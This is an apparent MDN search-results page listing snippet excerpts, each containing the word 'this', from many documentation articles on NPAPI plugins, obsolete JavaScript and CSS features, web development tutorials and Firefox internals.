NPN_PostURLNotify - Archive of obsolete content
notifydata plug-in-private value for associating the request with the subsequent npp_urlnotify call, which returns
this value (see description below).
...if
this function is called with a target parameter value of _self or a parent to _self,
this function should return an invalid_param nperror.
...
this is the only way to notify the plug-in once it is deleted.
... see npn_geturl for information about
this parameter.
NPN_Version - Archive of obsolete content
this function gets the values from the plug-in rather than from the browser.
... a plug-in can use
this function to check that the version of the plug-in api it is using is compatible with the version in use by the browser.
...
this could be part of the initialization process.
...once the plug-in obtains a version number, it can inquire on a version constant to find out if the feature it represents exists in
this version.
NPP - Archive of obsolete content
syntax typedef struct _npp { void* pdata; /* plug-in private data */ void* ndata; /* mozilla private data */ } npp_t; typedef npp_t* npp; fields the data structure has the following fields: pdata a value, whose definition is up to the plug-in, that the plug-in can use to store a pointer to an internal data structure associated with the instance;
this field isn't modified by the browser.
... ndata a private value, owned by the browser, which is used to store data associated with the instance;
this value should not be modified by the plug-in.
...
this pointer--which is an opaque instance handle of a plug-in--identifies the instance on which api calls should operate.
...the npp_destroy() function informs the plug-in when the npp instance is about to be deleted; after
this call returns, the npp pointer is no longer valid.
NPStream - Archive of obsolete content
this field is only available if the np version is greater than or equal to npvers_has_response_headers.
...
this field is used only for http and is null for other types of streams.
... the plug-in should copy
this data before making use of it.
...all api calls that operate on the stream (such as npp_writeready and npp_write) use a pointer to
this stream.
Plugins - Archive of obsolete content
gecko plugin api reference (npapi)
this reference describes the application programming interfaces for npapi plugins and provides information about how to use these interfaces.
... scripting plugins (npruntime)
this reference describes the new cross-browser npapi extensions that let plugins be scriptable and also let them access the script objects in the browser.
...
this can be useful when trying to determine if a plug-in is consuming too many resources.
... scripting plugins: macromedia flash
this article explains how javascript can be used to access methods from within the flash plugin, as well as how a feature called fscommands can be used to access javascript functions from within the flash animation.
Confidentiality, Integrity, and Availability - Archive of obsolete content
this article discusses the major security objectives: confidentiality, integrity, and availability.
...that would be a failure of integrity, because your information—in
this case, the price of a product—has been altered and you didn't authorize
this alteration.
...in
this case, the site you are directed to is not genuine.
... original document information author(s): karen scarfone, wayne jansen, and miles tracy title: nist special publication 800-123, guide to general server security last updated date: july 2008 copyright information:
this document is not subject to copyright.
Security Controls - Archive of obsolete content
this article discusses security controls, explaining the major categories and why they are all relevant, and exploring their weaknesses.
...
this principle is known as least privilege.
...department of commerce title: federal information processing standard publication 200, minimum security requirements for federal information and information systems last updated date: march 2006 copyright information:
this document is not subject to copyright.
... original document information author(s): karen scarfone, wayne jansen, and miles tracy title: nist special publication 800-123, guide to general server security last updated date: july 2008 copyright information:
this document is not subject to copyright.
SSL and TLS - Archive of obsolete content
draft
this page is not complete.
...
this cipher suite is fips-compliant.
...
this cipher suite is no longer fips-compliant because it is too weak cryptographically.
... bits of security rsa key length ecc key length table 1: comparison of rsa and ecc cipher strength 80 1024 160-223 112 2048 224-255 128 3072 256-383 192 7860 384-511 256 15360 512+ the information in
this table is from the national institute of standards and technology (nist).
Vulnerabilities - Archive of obsolete content
this article discusses vulnerabilities, explaining what they are and how they are present in all systems.
...
this article uses three high-level vulnerability categories: software flaws, security configuration issues, and software feature misuse.
... for example, a setting that disables all use of html in emails has a significant impact on both security and functionality, so a vulnerability related to
this setting would be a misuse vulnerability.
...setting
this to 1 would be the most secure setting against password guessing attacks, but it would also cause legitimate users to be locked out after mistyping a password once, and it would also permit attackers to perform denial-of-service attacks against users more easily by generating a single failed login attempt for each user account.
Security - Archive of obsolete content
digital signaturesencryption and decryption address the problem of eavesdropping, one of the three internet security issues mentioned at the beginning of
this document.
...
this document introduces the basic concepts of public-key cryptography.
... for an overview of ssl, see "introduction to ssl." for an overview of encryption and decryption, see "encryption and decryption." information on digital signatures is available from "digital signatures." introduction to ssl
this document introduces the secure sockets layer (ssl) protocol.
... ssl has been universally accepted on the world wide web for authenticated and encrypted communication between clients and servers.nspr release engineering guide
this paper is for engineers performing formal release for the netscape portable runtime (nspr) across all platforms.ssl and tlsthe secure sockets layer (ssl) and transport layer security (tls) protocols are universally accepted standards for authenticated and encrypted communication between clients and servers.
Making sure your theme works with RTL locales - Archive of obsolete content
a screenshot of firefox 2 in hebrew what you need to do at
this stage you might ask yourself, "how would i know what language is my theme installed on?
... example toolbar[iconsize="large"][mode="icons"] #back-button { -moz-image-region: rect(0px 396px 34px 360px); } toolbar[iconsize="large"][mode="icons"] #back-button:-moz-locale-dir(rtl) { -moz-image-region: rect(0px 516px 34px 480px); }
this specifies the default, left-to-right version of the button, then offers an override if the user's interface is being rendered in right-to-left mode.
...all you have to do is add css rules to your theme that test for the value of
this attribute, and use that to apply any rtl-specific rules that you may have.
... toolbar[iconsize="large"][mode="icons"] #back-button { -moz-image-region: rect(0px 398px 34px 360px); } toolbar[iconsize="large"][mode="icons"] #back-button[chromedir="rtl"] { -moz-image-region: rect(0px 516px 34px 478px); }
this way, if chromedir is "rtl", the second rule will override the first, and the theme will work in rtl.
Using Firebug and jQuery (Screencast) - Archive of obsolete content
note:
this screencast is originally from: http://ejohn.org/blog/hacking-digg-w...ug-and-jquery/
this is an adaptation of a presentation that i gave while at mashup camp boston.
... click the video link to begin (14:39 minutes long, 59mb): http://developer.mozilla.org/presentations/screencasts/jresig-digg-firebug-jquery.mp4 download: right-click
this link and select save as...
...drag these bookmarklets found on
this page into the bookmarks toolbar of your browser, in order to use them.
...i only really intended
this to be a quick introduction to the subject, so please feel free to explore it more!
-ms-content-zoom-limit-max - Archive of obsolete content
remarks
this property constrains the limit for touch zooming as well as values of the mscontentzoomfactor property.
...
this property has no effect on non-zoomable elements.
... starting with windows 8.1,
this property is also supported for touchpad interaction.
...
this property requires windows 8 or later.
-ms-content-zoom-limit-min - Archive of obsolete content
remarks
this property constrains the limit for touch zooming as well as values of the mscontentzoomfactor property.
...
this property has no effect on non-zoomable elements.
... starting with windows 8.1,
this property is also supported for touchpad interaction.
...
this property requires windows 8 or later.
-ms-content-zoom-snap-points - Archive of obsolete content
formal syntax snapinterval( <percentage>, <percentage> ) | snaplist( <percentage># ) examples
this example demonstrates both types of values for the -ms-content-zoom-snap-points property.
... remarks
this property has no effect on non-zoomable elements.
... starting with windows 8.1,
this property is also supported for touchpad interaction.
...
this property requires windows 8 or later.
-ms-content-zoom-snap-type - Archive of obsolete content
this implies that it is possible for the content zoom factor to end up between snap-points.
... remarks
this property has no effect on non-zoomable elements.
... starting with windows 8.1,
this property is also supported for touchpad interaction.
...
this property requires windows or later.
-ms-scroll-chaining - Archive of obsolete content
in
this case the image container has its -ms-scroll-chaining property set to chained, which means that when a user is scrolling through a nested scrollable element and it hits its boundary the parent scrollable element will begin to scroll in the same direction.
... remarks
this property only applies to touch and touchpad input.
...
this property has no effect on non-scrollable elements.
...
this property requires windows 8 or later.
-ms-scroll-rails - Archive of obsolete content
this value allows for free-form panning.
... remarks
this property has no effect on non-scrollable elements.
... starting with windows 8.1,
this property is also supported for touchpad interaction.
...
this property requires windows 8 or later.
-ms-scroll-snap-points-x - Archive of obsolete content
formal syntax snapinterval( <length-percentage>, <length-percentage> ) | snaplist( <length-percentage># )where <length-percentage> = <length> | <percentage> examples
this example demonstrates both types of values for the -ms-scroll-snap-points-x property.
... remarks
this property requires windows 8 or later.
...
this property has no effect on non-scrollable elements.
... starting with windows 8.1,
this property is also supported for mouse, keyboard, and touchpad interaction.
-ms-scroll-snap-points-y - Archive of obsolete content
formal syntax snapinterval( <length-percentage>, <length-percentage> ) | snaplist( <length-percentage># )where <length-percentage> = <length> | <percentage> examples
this example demonstrates both types of values for the -ms-scroll-snap-points-y property.
... remarks
this property requires windows 8 or later.
...
this property has no effect on non-scrollable elements.
... starting with windows 8.1,
this property is also supported for mouse, keyboard, and touchpad interaction.
-ms-touch-select - Archive of obsolete content
this is the initial value.
... remarks
this property requires windows 8 or later.
...to find out how to do
this using javascript, see the html5 selection apis.
...
this property has no effect on mouse, keyboard, or touchpad interaction.
The global XML object - Archive of obsolete content
the following example defines the foocount() method, which returns the amount of <foo> elements in the xml: xml.prototype.function::foocount = function foocount() { return
this..foo.length(); }; <foobar><foo/><foo/><foo/></foobar>.foocount() // returns 3 ignorecomments true by default.
...
this property tells e4x to ignore comment nodes when serializing and filtering.
...
this means that if ignorecomments is true, the list returned by .comments() will be empty.
...
this property tells e4x to ignore processing instructions in xml when serializing and filtering.
ArrayBuffer.transfer() - Archive of obsolete content
this operation leaves oldbuffer in a detached state.
...
this avoids having to drop all references and wait for garbage collection.
...uffer(40); new int32array(buf1)[0] = 42; var buf2 = arraybuffer.transfer(buf1, 80); buf1.bytelength; // 0 but if you use the polyfill then the value is still 40 buf2.bytelength; // 80 new int32array(buf2)[0]; // 42 var buf3 = arraybuffer.transfer(buf2, 0); buf2.bytelength; // 0 but if you use the polyfill then the value is still 80 buf3.bytelength; // 0 polyfill you can partially work around
this by inserting the following code at the beginning of your scripts, allowing use of much of the functionality of transfer() in browsers that do not natively support it.
...
this is not the exact equivalent of
this api because browsers that natively support it are be able to internally use the c++ function realloc() which extends the length of the memory and only copies it to a new location as-needed as opposed to the following pollyfill which always copies the whole thing to a new space of memory, but
this function transfers data from one arraybuffer to another arraybuffer.
Expression closures - Archive of obsolete content
description
this addition is nothing more than a shorthand for writing simple functions, giving the language something similar to a typical lambda notation.
... javascript 1.7 and older: function(x) { return x * x; } javascript 1.8: function(x) x * x
this syntax allows you to leave off the braces and 'return' statement - making them implicit.
... there is no added benefit to writing code in
this manner, other than having it be syntactically shorter.
... examples a shorthand for binding event listeners: document.addeventlistener('click', function() false, true); using
this notation with some of the array functions from javascript 1.6: elems.some(function(elem) elem.type == 'text'); ...
ActiveXObject - Archive of obsolete content
warning:
this object is a microsoft extension and is supported in internet explorer only, not in windows 8.x store apps.
...
this object is used only to instantiate automation objects, and has no members.
... to create an automation object, assign the new activexobject to an object variable: var excelapp = new activexobject("excel.application"); var excelsheet = new activexobject("excel.sheet");
this code starts the application creating the object (in
this case, a microsoft excel worksheet).
...excelsheet.activesheet.cells(1,1).value = "
this is column a, row 1"; // save the sheet.
Debug.setNonUserCodeExceptions - Archive of obsolete content
the debug.setnonusercodeexceptions property determines whether any try-catch blocks in
this scope are to be treated by the debugger as user-unhandled.
... syntax debug.setnonusercodeexceptions [= bool]; remarks if
this property is set to true within a given scope, the debugger can then choose whether to take some specified action on exceptions thrown inside that scope: for instance, if the developer wishes to break on user-unhandled exceptions.
... setting
this property to false is the same as never having set the property.
... example the following code shows how to set
this property.
New in JavaScript 1.8 - Archive of obsolete content
this version was included in firefox 3 and is part of gecko 1.9.
...</script> another way (not recommended) to do
this is to use the deprecated <script> language attribute and define it as "javascript1.8".
...typically you would have to create a custom function which would have a yield in it, but
this addition allows you to use array comprehension-like syntax to create an identical generator statement.
...
this has been resolved now.
JavaArray - Archive of obsolete content
in addition, the tostring method is inherited from the object object and returns the following value: [object javaarray] you must specify a class object, such as one returned by java.lang.object.forname, for the componenttype parameter of newinstance when you use
this method to create an array.
... methods tostring: in javascript 1.4,
this method is overridden by the inherited method java.lang.object.tostring.
... in javascript 1.3 and earlier,
this method returns a string identifying the object as a javaarray.
... examples example: instantiating a javaarray in javascript in
this example, the javaarray bytearray is created by the java.lang.string.getbytes method, which returns an array.
Sharp variables in JavaScript - Archive of obsolete content
this feature has been removed in bug 566700, firefox 12.
... #1 = {}; //
this doesn't do much since the sharp variable is out of scope immediately after a = #2 = {}; // slightly more useful since we retain a reference to the new object to reference the sharp variable, simply append another sharp (#) to the end of the variable name.
...
this acts as a reference to initial variable.
... you can use
this to create objects in a single line of code that would otherwise take multiple lines of code.
XForms Repeat Element - Archive of obsolete content
attributes ui common appearance - the value of
this attribute gives a hint to the xforms processor as to which type of widget(s) to use to represent
this control.
...to accommodate
this, xforms 1.0 defines an alternative syntax that is functionally equivalent to the repeat element, using the following attributes: repeat-model repeat-bind repeat-nodeset repeat-startindex repeat-number additionally, when using xforms action setindex, its repeat attribute (which contains an idref) can point to any element carrying these repeat attributes.
... example <xforms:model id="i_model"> <xforms:instance xmlns=""> <data xmlns:html="http://www.w3.org/1999/xhtml" xmlns=""> <val id="1"> <nest>nest 1.1</nest> <nest>nest 1.2</nest> </val> <val id="2"> <nest>nest 2.1</nest> <nest>nest 2.2</nest> </val> </data> </xforms:instance> </xforms:model> <div xforms:repeat-nodeset="val">
this is the inline content, just text.
...in
this scenario, though, you should use the anonid attribute to identify the repeat element that has been placed inside anonymous content.
XForms Select Element - Archive of obsolete content
attributes ui common appearance - the value of
this attribute gives a hint to the xforms processor as to which type of widget(s) to use to represent
this control.
... accesskey - used to specify the keyboard shortcut for focusing
this control.
...
this attribute, when set to 'open', allows the user to provide free entry to the list.
...
this is because a copy element can be used to add a subtree of nodes underneath the element that the select control is bound to.
XForms Select1 Element - Archive of obsolete content
attributes ui common appearance - the value of
this attribute gives a hint to the xforms processor as to which type of widget(s) to use to represent
this control.
... accesskey - used to specify the keyboard shortcut for focusing
this control.
... single-node binding special selection -
this attribute, when set to 'open', allows the user to provide free entry to the list.
...
this is because a copy element can be used to add a subtree of nodes underneath the element that the select1 control is bound to.
Archived open Web documentation - Archive of obsolete content
this article reviews several approaches to browser detection, their usefulness in specific circumstances to arrive at a common sense approach to browser detection.
...it does
this by providing access to the xml document in a form that feels natural for ecmascript programmers.
... e4x tutorial
this tutorial walks you through the basic syntax of e4x (ecmascript for xml).
...do not use
this ancient feature.
Game promotion - Game development
press you can try and reach the press about your game, but bear in mind that they get a tonne of requests like
this every single day, so be humble and patient if they don't answer right away, and be polite when talking to them.
...you should also be realistic however — don't think
this alone will skyrocket your downloads or visits, and be prepared to deal with bad reviews as well as good ones.
...
this big list of youtubers is a great place to start.
...it's important to focus on the knowledge part and tone down the marketing — devs are sensitive on
this matter and you may end up with an angry crowd if you just try to sell them something.
Mouse controls - Game development
« previousnext »
this is the 9th step out of 10 of the gamedev canvas tutorial.
... you can find the source code as it should look after completing
this lesson at gamedev-canvas-workshop/lesson9.html.
...add the following function to your code, below the previous line you added: function mousemovehandler(e) { var relativex = e.clientx - canvas.offsetleft; if(relativex > 0 && relativex < canvas.width) { paddlex = relativex - paddlewidth/2; } } in
this function we first work out a relativex value, which is equal to the horizontal mouse position in the viewport (e.clientx) minus the distance between the left edge of the canvas and left edge of the viewport (canvas.offsetleft) — effectively
this is equal to the distance between the canvas left edge and the mouse pointer.
... compare your code
this is the latest state of the code to compare against: exercise: adjust the boundaries of the paddle movement, so the whole paddle will be visible on both edges of the canvas instead of only half of it.
Collision detection - Game development
« previousnext »
this is the 10th step out of 16 of the gamedev phaser tutorial.
... you can find the source code as it should look after completing
this lesson at gamedev-phaser-content-kit/demos/lesson10.html.
...create
this new function as the bottom of your code, just before the closing </script> tag, as follows: function ballhitbrick(ball, brick) { brick.kill(); } and that's it!
... compare your code you can check the finished code for
this lesson in the live demo below, and play with it to understand better how it works: next steps we can hit the bricks and remove them, which is a nice addition to the gameplay already.
Selector (CSS) - MDN Web Docs Glossary: Definitions of Web-related terms
consider
this css: p { color: green; } div.warning { width: 100%; border: 2px solid yellow; color: white; background-color: darkred; padding: 0.8em 0.8em 0.6em; } #customized { font: 16px lucida grande, arial, helvetica, sans-serif; } the selectors here are "p" (which applies the color green to the text inside any <p> element), "div.warning" (which makes any <div> element with the class "warning" look like a warning box), and "#customized", which sets the base font of the element with the id "customized" to 16-pixel tall lucida grande or one of a few fallback fonts.
... we can then apply
this css to some html, such as: <p>
this is happy text.</p> <div class="warning"> be careful!
...</div> <div id="customized"> <p>
this is happy text.</p> <div class="warning"> be careful!
... </div> </div> the resulting page content is styled like
this: ...
Global object - MDN Web Docs Glossary: Definitions of Web-related terms
(in node.js
this is not the case.) the global object's interface depends on the execution context in which the script is running.
...
this is the vast majority of javascript code on the web.
... explanation: the global variable foo was stored in the window object, like
this: foo: "foobar" access global functions function greeting() { console.log("hi!"); } window.greeting(); // it is the same as the normal invoking: greeting(); the example above explains how global functions are stored as properties in the window object.
... explanation: the global function greeting was stored in the window object, like
this: greeting: function greeting() { console.log("hi!"); } ...
Hoisting - MDN Web Docs Glossary: Definitions of Web-related terms
conceptually, for example, a strict definition of hoisting suggests that variable and function declarations are physically moved to the top of your code, but
this is not in fact what happens.
...
this is because of how context execution works in javascript.
...for example: console.log(num); // returns undefined, as only declaration was hoisted, no initialization has happened at
this stage var num; // declaration num = 6; // initialization the example below only has initialization.
...console.log(x + " " + y); // '1 undefined' //
this prints value of y as undefined as javascript only hoists declarations var y = 2; // declare and initialize y // example 2 // no hoisting, but since initialization also causes declaration (if not already declared), variables are available.
Primitive - MDN Web Docs Glossary: Definitions of Web-related terms
example
this example will help you understand that primitive values are immutable.
...if so, read how
this code runs: for both the addtwo and addtwo_v2 functions calls, javascript looks up the value for the identifier foo.
...also, in
this situation, the external foo variable cannot be accessed directly.
...
this is because of javascript's lexical scoping and the resulting variable shadowing.
Using CSS generated content - Learn web development
this article describes some ways in which you can use css to add content when a document is displayed.
...
this issue does not arise if the content you specify consists of symbols or images that apply in all languages and cultures.
...to specify
this, make a rule and add ::before or ::after to the selector.
...
this rule adds a space and an icon after every link that has the class glossary: html <a href="developer.mozilla.org" class="glossary">developer.mozilla.org</a> css a.glossary::after { content: " " url("https://mdn.mozillademos.org/files/16322/glossary-icon.gif"); } ...
What do common web layouts contain? - Learn web development
in
this example, look at the image (b1) right underneath the header.
...
this is a bit trickier.
...
this is a good example of a classic layout supporting some design creativity.
... simple layouts are easier to implement, but allow yourself room to express your creativity in
this area.
What is a Domain Name? - Learn web development
this is so that unused domain names eventually become available to use again by someone else.
... note: in
this process the registrar asks you for your real-world address.
...thus, it takes some time for dns servers that know about
this domain name to get the up-to-date information.
... your browser asks your computer if it already recognizes the ip address identified by
this domain name (using a local dns cache).
Test your skills: Styling basics - Learn web development
this aim of
this skill test is to assess whether you've understood our styling web forms article.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
... download the starting point for
this task to work in your own editor or in an online editor.
...
this is a good practice to get into — it's very hard to help someone with a coding problem if you can't see their code.
What will your website look like? - Learn web development
this is sometimes called a design guide, design system, or brand book, and you can see an example at the firefox photon design system.
...for your first simple webpage, there's not much to sketch out, but you should get in the habit of doing
this now.
... choosing your assets at
this point, it's good to start putting together the content that will eventually appear on your webpage.
... previous overview: getting started with the web next in
this module installing basic software what will your website look like?
Use JavaScript within a webpage - Learn web development
learn in
this article how to trigger javascript right from your html documents.
... in
this article we're going over the html code you need to make javascript take effect.
... <script> window.addeventlistener('load', function () { console.log('
this function is executed once the page is fully loaded'); }); </script> that's convenient when you just need a small bit of javascript, but if you keep javascript in separate files you'll find it easier to focus on your work write self-sufficient html write structured javascript applications use scripting accessibly accessibility is a major issue in any software development.
... at a minimum, leave a short message with <noscript> like
this: <noscript>to use
this site, please enable javascript.</noscript> ideally, replicate the javascript functionality with html and server-side scripting when possible.
Using data attributes - Learn web development
for example to show the parent data on the article you can use generated content in css with the attr() function: article::before { content: attr(data-parent); } you can also use the attribute selectors in css to change styles according to the data: article[data-columns='3'] { width: 400px; } article[data-columns='4'] { width: 600px; } you can see all
this working together in
this jsbin example.
...using the css selectors and javascript access here
this allows you to build some nifty effects without having to write your own display routines.
... see
this screencast for an example using generated content and css transitions (jsbin example).
...also, the performance of reading data-attributes compared to storing
this data in a regular js object is poor.
The business case for web performance - Learn web development
in
this section, we discuss creating a clear business-case to convince decision-makers to make the investment.
...
this article discusses how certain business metrics directly relate to a user's web performance experience and how to apply service design to boost the user's experiences of web performance.
...
this can lead to low conversion rates.
... previous overview: performance in
this module the "why" of web performance what is web performance?
Server-side website programming - Learn web development
with that basic understanding, you'll be ready to work your way through the modules in
this section.
... modules
this topic contains the following modules.
... server-side website programming first steps
this module provides technology-agnostic information about server-side website programming such as "what is it?", "how does it differ from client-side programming?", and "why is it useful?".
...
this module also outlines some of the more popular server-side web frameworks and gives guidance on how to select the best one for your site.
Accessibility Information for Core Gecko Developers
this document shows several interactive desktop-style widgets that are accessible by keyboards and assistive technologies, and outlines a plan being developed by ibm, mozilla, and the wai protocols and formats working group (pfwg) to address the issue of dhtml accessibility.
... mozilla accessibility architecture
this document explains how we implement the cross-platform accessibility layer in mozilla.
... unix accessibility project
this document describes the sun accessibility project.
...since
this is a worldwide effort, there is always a good chance to find someone to chat with there, day or night.
Information for users
firefox accessibility features
this page defines most of the accessibility features possible in firefox.
... assistive technology compatibility
this is a wiki page which users can edit to provide up to date information on any issues related to compatibility with assistive technologies such as screen readers, screen magnifiers, voice input software and on screen keyboards.
... planning ahead for accessibility
this document is intended to help testers and designers understand and plan what still needs to be added to our ui for full usable accessibility.
...since
this is a worldwide effort, there is always a good chance to find someone to chat with there, day or night.
Cookies Preferences in Mozilla
network.cookie.cookiebehavior default value: 0 0 = accept all cookies by default 1 = only accept from the originating site (block third party cookies) 2 = block all cookies by default 3 = use p3p settings (note:
this is only applicable to older mozilla suite and seamonkey versions.) 4 = storage access policy: block cookies from trackers network.cookie.lifetimepolicy default value: 0 0 = accept cookies normally 1 = prompt for each cookie (prompting was removed in firefox 44) 2 = accept for current session only 3 = accept for n days network.cookie.lifetime.days default value: 90 only used if network.c...
...epts session cookies without prompting false = prompts for session cookies network.cookie.thirdparty.sessiononly default value: false true = restrict third party cookies to the session only false = no restrictions on third party cookies network.cookie.maxnumber default value: 1000 configures the maximum amount of cookies to be stored valid range is from 0-65535, rfc 2109 and 2965 require
this to be at least 300 network.cookie.maxperhost default value: 50 configures the maximum amount of cookies to be stored per host valid range is from 0-65535, rfc 2109 and 2965 require
this to be at least 20 network.cookie.disablecookieformailnews default value: true true = do not accept any cookies from within mailnews or from mail-style uris false = allow cookies in these situations
this p...
... new in thunderbird 3
this preference is applicable to thunderbird 3 and later.
...(the old prefs are network.cookie.lifetime.enabled, network.cookie.lifetime.behavior, and network.cookie.warnaboutcookies.) true = prefs have been migrated false = migrate prefs on next startup original document information author(s): mike connor last updated date: may 22, 2004 copyright information: portions of
this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Debugging Table Reflow
ecko_block_debug_flags=reflow the available options are: reflow really-noisy-reflow max-element-size space-manager verify-lines damage-repair lame-paint-metrics lame-reflow-metrics disable-resize-opt these options can be combined with a comma separated list messages generated by the reflow switch: block(div)(1)@00be5ac4: reflowing dirty lines computedwidth=9000 computedheight=1500
this message is generated inside of nsresult nsblockframe::reflowdirtylines(nsblockreflowstate& astate) it first shows the block id and address and then the computed width and height from the htmlreflowstate.
...the first line of the data dump shows that no width has yet been assigned to the columns mcolwidths=-1 -1 -1 -1, -1 stands for: #define width_not_set -1
this is followed by a reference to the column frame pointers: col frame cache -> 0=00b93138 1=00b931f0 2=024dd728 3=024dd780
this is followed by the information which width has been set for each column.
...cols attribute assigns 1* e0proportionconstraint = 4 // 0*, means to force to min width after
this follows the width information for each column: widths=-1 -1 -1 -1 -1 -1 -1 -1 -1 -1 the table code knows ten different width's: #define num_widths 10 #define num_major_widths 3 // min, des, fix #define min_con 0 // minimum width required of the content + padding #define des_con 1 // desired width of the content + padding #define fix 2 // fixed width either ...
...at
this step the final size is 360 twips.
ESLint
this automatic linting can happen either while coding, in a code editor, or when using the command line.
...
this lets you see errors in real time, and can help you fix issues before you compile or run tests, reducing the time to develop patches.
... understanding rules and errors not all files are linted currently eslint runs on: .js .jsx .jsm .xml .html .xhtml additionally, some directories and files are ignored, see the .eslintignore file handling errors if your code fails an eslint rule, you'll get an error similar to
this: /gecko/toolkit/mozapps/installer/js-compare-ast.js 18:39 error 'snarf' is not defined.
... ensure there is a .eslintrc.js file that extends one of: "plugin:mozilla/browser-test" "plugin:mozilla/chrome-test" "plugin:mozilla/mochitest-test" "plugin:mozilla/xpcshell-test" see other test directories for how to do
this.
Working with Mozilla source code
getting a pre-configured mozilla build system virtual machine
this is the easiest way to get started: use a virtualbox virtual machine which is already configured with a complete build environment for you to use.
...
this isn't a good way to download the code, but is a great way to search it.
... the firefox codebase: css guidelines
this document contains guidelines defining how css inside the firefox codebase should be written, it is notably relevant for firefox front-end engineers.
...
this article needs to be updated fully for mercurial.
Frame script environment
in particular, note that a frame script accesses the dom window using content, not window: // frame script var links = content.document.getelementsbytagname("a"); all the frame scripts running in a tab share
this global.
...
this means you don't have to worry about global variables you define conflicting with global variables defined by another frame script.
... you can still access the global directly via
this.
...
this can be used if a framescript needs to interact with individual dom windows instead of simply listening for events bubbling up from content.
Frame script environment
in particular, note that a frame script accesses the dom window using content, not window: // frame script var links = content.document.getelementsbytagname("a"); all of the frame scripts running in a tab share
this global.
...
this means you don't have to worry about global variables you define conflicting with global variables defined by another frame script.
... you can still access the global directly using
this.
...
this can be used if a framescript needs to interact with individual dom windows instead of simply listening for events bubbling up from content.
Tracking Protection
when firefox blocks content, it logs a message to the web console like
this: the resource at "http://some/url" was blocked because tracking protection is enabled.
... what does
this mean for your website?
...e.com', event);"> visit example.com </a> <script> function tracklink(url,event) { event.preventdefault(); if (window.ga && ga.loaded) { ga('send', 'event', 'outbound', 'click', url, { 'transport': 'beacon', 'hitcallback': function() { document.location = url; } }); } else { document.location = url; } } </script> more information about
this technique is available at google analytics, privacy, and event tracking.
... note: depending on a third party in
this way is not a good practice anyway, because then your site can be broken if the third party is slow or unavailable, or if the tracker has been blocked by an add-on.
mozbrowsermetachange
non-standard
this feature is non-standard and is not on a standards track.
...
this can be viewmode, theme-color, theme-group, or application-name.
... type a domstring representing the type of meta change that
this event object represents.
...
this can be added, changed, removed, or undefined.
overflow-clip-box-block
note that
this property is activated by default only in the ua stylesheet and chrome contexts.
... syntax values padding-box
this keyword makes the clipping be related to the padding box.
... content-box
this keyword makes the clipping be related to the content box.
...k; background: lime content-box; } .padding-box { overflow-clip-box-block: padding-box; } javascript function scrollsomeelements() { var elms = document.queryselectorall('.scroll'); for (i=0; i < elms.length; ++i) { elms[i].scrollleft=80; } } var elt = document.queryelementsbytagname('body')[0]; elt.addeventlistener("load", scrollsomeelements, false); result specifications
this property has been proposed to the w3c csswg; it is not yet on the standard track but, if accepted, should appear in css overflow module level 3.
overflow-clip-box-inline
note that
this property is activated by default only in the ua stylesheet and chrome contexts.
... syntax values padding-box
this keyword makes the clipping be related to the padding box.
... content-box
this keyword makes the clipping be related to the content box.
...; background: lime content-box; } .padding-box { overflow-clip-box-inline: padding-box; } javascript function scrollsomeelements() { var elms = document.queryselectorall('.scroll'); for (i=0; i < elms.length; ++i) { elms[i].scrollleft=80; } } var elt = document.queryelementsbytagname('body')[0]; elt.addeventlistener("load", scrollsomeelements, false); result specifications
this property has been proposed to the w3c csswg; it is not yet on the standard track but, if accepted, should appear in css overflow module level 3.
Gecko SDK
issues with the os x sdk if you need to use the xpidl utility to compile idl files on os x, it's likely that you will receive a strange error when running the tool that looks something along the lines of
this: dyld: library not loaded: /opt/local/lib/libintl.3.dylib referenced from: /users/varmaa/xulrunner-sdk/bin/./xpidl reason: image not found trace/bpt trap unfortunately,
this is caused by a problem with the sdk build process which cannot currently be resolved (see bugzilla bug #430274).
... once that's done, you should perform the following command: ln -s /opt/local/lib/libintl.8.dylib /opt/local/lib/libintl.3.dylib
this should fix the problem.
...
this can be done by downloading the source code for firefox and using the --with-libxul-sdk option to configure.
...
this is an unofficial intel build.
Infallible memory allocation
this is in contrast to a traditional, fallible memory allocator that can return null indicating that the request failed.
...under extreme memory conditions, it's possible that the allocation will fail; however, the allocation routine will not, in
this scenario, return to your code.
...
this should be rare, because the memory management system will do everything it can to find the memory you've asked for.
...you should do
this for large memory allocations because in extremely low memory conditions, as described in how can memory allocation be infallible?, the application may terminate if an infallible allocator can't find the memory you requested.
Assert.jsm
this statement is equivalent to assert.equal(true, !!guard, message_opt);.
... json.stringify is not designed to be used for
this purpose; objects may have ambiguous tojson() implementations that would influence the test.
... arguments passed in to
this function are: err an error object when the assertion failed or null when it passed message message describing the assertion stack stack trace of the assertion function.
...
this report method only throws errors on assertion failures, as per spec, but consumers of
this module (think: xpcshell-test, mochitest) may want to override
this default implementation.
FileUtils.jsm
to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/fileutils.jsm"); the file constructor if you have a path to a file (or directory) you want to obtain an nsifile for, you can do so using the file constructor, like
this: var f = new fileutils.file(mypath); method overview nsifile getfile(string key, array patharray, bool followlinks); nsifile getdir(string key, array patharray, bool shouldcreate, bool followlinks); nsifileoutputstream openfileoutputstream(nsifile file, int modeflags); nsifileoutputstream openatomicfileoutputstream(nsifile file, int modeflags); nsifileoutputs...
...the last item in
this array must be the leaf name of a file.
... the stream is opened with the defer_open nsifileoutputstream.behavior flag constant
this means the file is not actually opened until the first time it's accessed.
... remarks note: starting in gecko 6 the stream is opened with the defer_open nsifileoutputstream behavior flag constant;
this means the file is not actually opened until the first time it's accessed.
Patching a Localization
this page will walk you through creating a patch for an existing localization.
...the repository for
this version is releases/l10n/mozilla-aurora.
...for example, create a directory like localization-workdir (in
this example it is located in your home directory): mkdir ~/localization-workdir navigate to the directory you just created.
... hg diff
this command creates a patch and lists your modifications through displaying the differences in a unified patch's files.
Initial setup
this will determine what information is most applicable to you throughout the rest of
this guide.
...you will need
this for localizing mozilla applications.
...use
this bug template when filing your hg account registration bug.
...see
this wiki page about how to gain access to svn.
Mozilla Port Blocking
warning: the content of
this article may be out of date.
...a simple exploit of
this hole allows an attacker to send forged unsigned mail through a mail server behind your firewall: a really nasty hole.
...each protocol's handler can override
this blocking for itself in order to enable the required access for that protocol.
... more information nsioservice.cpp gbadportlist bug 83401 vulnerability note vu#476267 dougt@netscape.com original document information author(s): doug turner last updated date: august 15, 2007 copyright information: portions of
this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Mozilla projects on GitHub
this article offers a quick guide for getting started with mozilla code on github.
...
this is a great place to start looking for any projects not listed below.
... projects
